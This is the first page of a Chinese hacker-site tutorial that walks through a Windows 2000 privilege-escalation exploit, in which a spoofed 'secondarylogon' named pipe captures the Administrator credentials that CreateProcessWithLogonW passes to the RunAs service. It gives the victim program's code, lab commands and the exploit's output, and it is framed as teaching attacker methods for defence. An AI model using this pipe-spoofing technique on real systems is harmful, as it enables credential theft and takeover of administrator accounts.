| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 入侵检测 >> 文章正文 用户登录 新用户注册
  在W2K中提升权限的几个攻击实例之成败心得         ★★★ 【字体:
在W2K中提升权限的几个攻击实例之成败心得
作者:未知    文章来源:lams.blogchina.com    点击数:    更新时间:2005-8-11    

讲到Exploit都会涉及到提升权限的问题,所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说,你用一般用户的账号登录Windows NT/Windows 2000后,你就只能作有限的操作,却不能加减用户,不能往系统目录中存写文件等等;但等到你通过系统的漏洞获得了Administrator或者Local System的权限以后,你也就可以作这些事了。  

我研究Exploit的时间并不是很长,但看到有关在Windows操作系统中提升权限的方法与实例还真不少。刚才到Google上用关键词“microsoft”、“Windows”、“privilege”、“elevation”去搜索一下,居然返回3000多个结果。要知道,这还只是公布出来的部分,江湖中还有很多必杀绝技是不轻易示人的。  

要想在这里详细地介绍所有Windows中提升权限的方法,我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢,这一章所针对的读者应该是丐帮的入门弟子,如果你们哪位功力要用两个以上的麻袋来装的话,请尽管跳过这一章。  

我在选择这一章的Exploit例子时,有意选择针对W2K操作系统、附带有源程序的例子,这样方便大家在自己的机器上试验。这些Exploit并不是每个都成功,但是我感觉它们有不少可借鉴之处,可以通过学习它们来了解黑客的思路,从而提高自己的反入侵能力。  

记住我的机器dallas是W2K Service Pack 1,如果你们的计算机运行不同版本的W2K Service Pack,这些Exploit可能需要改动。  

顺便说一句,实际上在第一章里面我们已经提到一种在Unix或者Linux中提升权限的方法,就是去Exploit超级用户Root所有的、具有SUID位的执行程序。在Windows操作系统中,没有SUID这种说法,但是有一种RunAs服务(Service)进程可以提供类似于SUID的功能,而且是有可能被Exploit的。  


利用Windows 2000中的Named Pipe来提升权限  


Windows 2000中的RunAs服务进程可以让用户甲以用户乙的权限运行程序,这类似于Unix和Linux系统中SUID位功能。W2K中的一个API:CreateProcessWithLogonW就利用了RunAs服务进程,用户甲调用这个CreateProcessWithLogonW时把用户乙的账号(Account)、域(Domain)、密码(Password)提交给Windows操作系统作Authentication,如果Authentication成功,那么就接着运行指定的程序,而且这个程序运行时具有用户乙的权限。  

CreateProcessWithLogonW API的定义如下:  
BOOL CreateProcessWithLogonW(  
LPCWSTR , // 用户乙的账号(Account)  
LPCWSTR , //用户乙的域(Domain)  
LPCWSTR , // 用户乙的密码(Password)  
DWORD , // logon option  
LPCWSTR , // executable module name  
LPWSTR , // command-line string  
DWORD , // creation flags  
LPVOID , // new environment block  
LPCWSTR , // current directory name  
LPSTARTUPINFOW , // startup information  
LPPROCESS_INFORMATION // process information  
);  

那么CreateProcessWithLogonW是如何把用户乙的账号信息传给RunAs服务进程的呢?在Windows操作系统中有很多Interprocess Communication的方法,大概最常见的就是 Pipe了。我们在上一章对IIS的Exploit中也用到了Pipe,不过那是没有名字的pipe (Anonymous Pipe);在这里CreateProcessWithLogonW是用有名字的Pipe(named Pipe)与RunAs联络的,这个named Pipe就是“\\.\pipe\secondarylogon”。  

到目前为止,一切都正常。大家要问:RunAs的漏洞在哪里呢?它的漏洞是如何被Exploit的呢?根据RADIX Team的解释:当用户甲用CreateProcessWithLogonW创建具有用户乙权限的进程时,它是不会核实“\\.\pipe\secondarylogon”的Server端究竟是连通到RunAs进程还是连通到其它的进程。如果RunAs服务进程在某一时刻停止运行的话,黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的named Pipe,然后黑客进程就假装成RunAs服务进程在Pipe的Server端等着接受信息。接着我们无辜而无知的用户甲调用CreateProcessWithLogonW了,它也不先调查一下Named Pipe另一端的进程身份,就把用户乙的账号信息由伪造的named Pipe传了过去,传呀传,传呀传,一直传到黑客程序的耳朵里。  

RADIX Team还编写了一个Exploit程序radix1112200101,这个程序把通过Named Pipe “\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅,我就不转载这个程序了,大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(Local Domain)的超级用户Administrstor的密码。被Exploit的程序(就是因为使用CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp,它以超级用户Administrator的权限启动一个NotePad程序。  


<==========================radixvictim.cpp===============================>  

// radixvictim.cpp : Defines the entry point for the application.  
//  

#define _WIN32_WINNT 0x0500  
#define UNICODE  

#include  
#include  
#include  
#include  

int APIENTRY WinMain(HINSTANCE hInstance,  
HINSTANCE hPrevInstance,  
LPSTR lpCmdLine,  
int nCmdShow = SW_SHOW)  
{  
// TODO: Place code here.  

LPCWSTR lpUsername = L"Administrator"; // user’s name  
LPCWSTR lpDomain = L"dallas"; // user’s domain  
LPCWSTR lpPassword = L"moda"; // user’s password  
DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon option  
LPCWSTR lpApplicationName = L"D:\\Winnt\\NotePad.exe";  
LPWSTR lpCommandLine = L"NotePad.exe"; // command-line string  
DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation flags  
LPVOID lpEnvironment = NULL; // new environment block  
LPCWSTR lpCurrentDirectory = NULL; // current directory name  
STARTUPINFO StartupInfo; // startup information  
PROCESS_INFORMATION ProcessInfo; // process information  

BOOL ret;  

ZeroMemory(&StartupInfo, sizeof(StartupInfo));  
StartupInfo.cb = sizeof(StartupInfo);  
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));  

ret = CreateProcessWithLogonW(  
lpUsername,  
lpDomain,  
lpPassword,  
dwLogonFlags,  
lpApplicationName,  
lpCommandLine,  
dwCreationFlags,  
lpEnvironment,  
lpCurrentDirectory,  
&StartupInfo,  
&ProcessInfo  
);  


if (! ret )  
ExitProcess (GetLastError()) ;  

return 0;  
}  



<================================================================>  

在伪造Named Pipe之前,必须关闭RunAs的“\\.\pipe\secondarylogon”,要不然运行radix1112200101会得到Permission Denied之类的错误。  

我先以超级用户Administrator登录dallas,然后从Administrative Tools->Services中终止RunAs服务进程 (一般的情况下,只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。  

再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。  


D:\MyJob\securitylab\radix\Debug>radix1112200101  
Created pipe and waiting for clients...  


怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:  

D:\MyJob\tool\pipelist\RELEASE>pipelist  

PipeList v1.01  
by Mark Russinovich  
http://www.sysinternals.com  

Pipe Name Instances Max Instances  
--------- --------- -------------  
InitShutdown 2 -1  
lsass 5 -1  
ntsvcs 50 -1  
scerpc 2 -1  
net\NtControlPipe1 1 1  
DhcpClient 1 -1  
net\NtControlPipe2 1 1  
Winsock2\CatalogChangeListener-194-0 1 1  
net\NtControlPipe3 1 1  
spoolss 2 -1  
。。。。。。。  
。。。。。。。  
net\NtControlPipe21 1 1  
tapsrv 2 -1  
ROUTER 2 -1  
WMIEP_2ac 2 -1  
WMIEP_154 2 -1  
SecondaryLogon 1 10  

D:\MyJob\tool\pipelist\RELEASE>  

你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。  

现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:  

D:\MyJob\securitylab\radix\Debug>radix1112200101  
Created pipe and waiting for clients...  
Read 4 bytes. (ASCII Dump)  
>  
? Read 318 bytes. (ASCII Dump)  
□  
? ? 8  
X j □ □  
? ? ? - + -  
? A d m i n  
i s t r a t o r  
? d a l l a  
s ? m o d a  
* D  
: \ W i n n t \  
N o t e P a d .  
e x e ? N o  
t e P a d . e x  
e l  
D H l  



W i n S  
t a 0 \ D e f a  
u l t _  
D:\My

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    非主流入侵之会话劫持winnt/
    系统安全基础之在Windows中跟
    教你在WindowsVista加密文件
    在Windows2000系统中预防Pin
    让IRIS嗅探器可以在Win2003 
    如何在Windows 2003中得到登
    在Win Vista中设置多个本地组
    在WEBSHELL中巧妙利用文件共
    在Windows XP中如何修改其它
    为什么Windows 2K/XP会蓝屏
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.